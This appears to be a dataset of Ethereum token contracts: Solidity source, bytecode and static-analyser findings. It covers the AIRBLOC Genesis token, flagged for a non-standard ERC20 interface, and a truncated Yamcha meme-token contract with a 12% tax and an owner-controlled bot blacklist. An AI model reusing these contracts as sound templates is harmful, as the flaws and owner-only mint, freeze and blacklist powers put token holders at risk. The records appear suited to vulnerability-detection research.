65b1515611a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611abb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c1b5780601f10611bf057610100808354040283529160200191611c1b565b820191906000526020600020905b815481529060010190602001808311611bfe57829003601f168201915b5050505050905090565b6000611c2f611b2c565b1515611ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611cad8383613115565b6001905092915050565b6000600160149054906101000a900460ff16151515611d3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611dd73384611dd285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b6001905092915050565b6000600160149054906101000a900460ff16151515611e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611e73338484612b4d565b6001905092915050565b6000611e87611b2c565b1515611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611f9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156121335761205a858281518110151561203357fe5b90602001906020020151858381518110151561204b57fe5b906020019060200201516132d4565b612093858281518110151561206b57fe5b9060200190602002015184868481518110151561208457fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156120b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561210757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612019565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006121fa611b2c565b151561226e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156122e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561237a5761236d838281518110151561230757fe5b9060200190602002015160066000868581518110151561232357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613593565b80806001019150506122ed565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006123d7611b2c565b151561244b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156125b7576125aa848281518110151561258357fe5b90602001906020020151848381518110151561259b57fe5b906020019060200201516132d4565b8080600101915050612569565b506001905092915050565b6125ca611b2c565b151561263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612707611b2c565b151561277b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156127f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561286d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156128c1576128b4848281518110151561288d57fe5b9060200190602002015184838151811015156128a557fe5b90602001906020020151613593565b8080600101915050612873565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612997576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612d3581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dca81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515612ef1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515612f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156131ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61320c81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326481600554612e7790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561339f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600081111515613417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61346981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134fe81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561365e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61372881600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137bd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a7230582022d795cc6df6c42a3f7f7874d7fb68bef01f53c16e8d38e246e46c9e9b99d03a0029
{"success": true, "error": null, "results": {}}
7,343
0x4253d9142bc0537b46a0d8dc31f014bb1bb3096a
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name = "AIRBLOC Genesis"; string public symbol = "ABLG"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 180000000 * (10 ** 18); // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( ) public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ABL Genesis Token STARTS HERE */ /******************************************/ contract ABLGenesisToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ABLGenesisToken( ) TokenERC20() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012c57806306fdde0314610147578063095ea7b3146101d157806318160ddd1461020757806323b872dd1461022c578063313ce5671461025457806342966c681461027d5780634b7503341461029357806370a08231146102a657806379c65068146102c557806379cc6790146102e75780638620410b146103095780638da5cb5b1461031c57806395d89b411461034b578063a6f2ae3a1461035e578063a9059cbb14610366578063b414d4b614610388578063cae9ca51146103a7578063dd62ed3e1461040c578063e4849b3214610431578063e724529c14610447578063f2fde38b1461046b575b600080fd5b341561013757600080fd5b61014560043560243561048a565b005b341561015257600080fd5b61015a6104b0565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019657808201518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b6101f3600160a060020a036004351660243561054e565b604051901515815260200160405180910390f35b341561021257600080fd5b61021a61057e565b60405190815260200160405180910390f35b341561023757600080fd5b6101f3600160a060020a0360043581169060243516604435610584565b341561025f57600080fd5b6102676105fb565b60405160ff909116815260200160405180910390f35b341561028857600080fd5b6101f3600435610604565b341561029e57600080fd5b61021a61068f565b34156102b157600080fd5b61021a600160a060020a0360043516610695565b34156102d057600080fd5b610145600160a060020a03600435166024356106a7565b34156102f257600080fd5b6101f3600160a060020a036004351660243561076d565b341561031457600080fd5b61021a610849565b341561032757600080fd5b61032f61084f565b604051600160a060020a03909116815260200160405180910390f35b341561035657600080fd5b61015a61085e565b6101456108c9565b341561037157600080fd5b610145600160a060020a03600435166024356108e9565b341561039357600080fd5b6101f3600160a060020a03600435166108f8565b34156103b257600080fd5b6101f360048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061090d95505050505050565b341561041757600080fd5b61021a600160a060020a0360043581169060243516610a3f565b341561043c57600080fd5b610145600435610a5c565b341561045257600080fd5b610145600160a060020a03600435166024351515610ab9565b341561047657600080fd5b610145600160a060020a0360043516610b45565b60005433600160a060020a039081169116146104a557600080fd5b600791909155600855565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156105b957600080fd5b600160a060020a03808516600090815260066020908152604080832033909416835292905220805483900390556105f1848484610b8f565b5060019392505050565b60035460ff1681565b600160a060020a0333166000908152600560205260408120548290101561062a57600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60075481565b60056020526000908152604090205481565b60005433600160a060020a039081169116146106c257600080fd5b600160a060020a03808316600090815260056020526040808220805485019055600480548501905530909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a0382166000908152600560205260408120548290101561079357600080fd5b600160a060020a03808416600090815260066020908152604080832033909416835292905220548211156107c657600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60085481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b6000600854348115156108d857fe5b0490506108e6303383610b8f565b50565b6108f4338383610b8f565b5050565b60096020526000908152604090205460ff1681565b60008361091a818561054e565b15610a375780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151838201526020016109b8565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610a1e57600080fd5b6102c65a03f11515610a2f57600080fd5b505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b6007548102600160a060020a033016311015610a7757600080fd5b610a82333083610b8f565b33600160a060020a03166108fc60075483029081150290604051600060405180830381858888f1935050505015156108e657600080fd5b60005433600160a060020a03908116911614610ad457600080fd5b600160a060020a03821660009081526009602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610b6057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610ba457600080fd5b600160a060020a03831660009081526005602052604090205481901015610bca57600080fd5b600160a060020a03821660009081526005602052604090205481810111610bf057600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610c1657600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610c3c57600080fd5b600160a060020a038084166000818152600560205260408082208054869003905592851680825290839020805485019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35050505600a165627a7a723058207e2b6a02aff79331ea67af23c61f794299cd4172fe0230d37ce4e2376f7958600029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,344
0x93cf6281e0a028f216433e24466915c5ba9518a3
/** Yamcha Token (YAMCHA) A former desert bandit, Yamcha was once an enemy of Goku, but quickly reformed and became a friend and ally. Brave, boastful and dependable, Yamcha is a very talented martial artist and one of the most powerful humans on Earth, possessing skills and traits that allow him to fight alongside his fellow Z Fighters when major threats loom. 🌿 Transaction Tax : 12% 🌿 5% for Marketing 🌿 5% for Dev 🌿 2% for Rewards, buybacks 🚀 Total Supply: 14800000 🚀 Max Tx: 74000 🚀 Max Buy: 0.5% 🚀 Max Wallet: 1% 🚀 Initial Liquidity Pool: 3 ETH Website: yamcha.today Telegram: t.me/yamchatoken Twitter: twitter.com/yamchatoken **/ pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract YamchaToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 14800000 * 10**18; uint256 private _maxWallet= 148000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "Yamcha Token"; string private constant _symbol = "YAMCHA"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 12; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(200); _maxWallet=_tTotal.div(100); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), 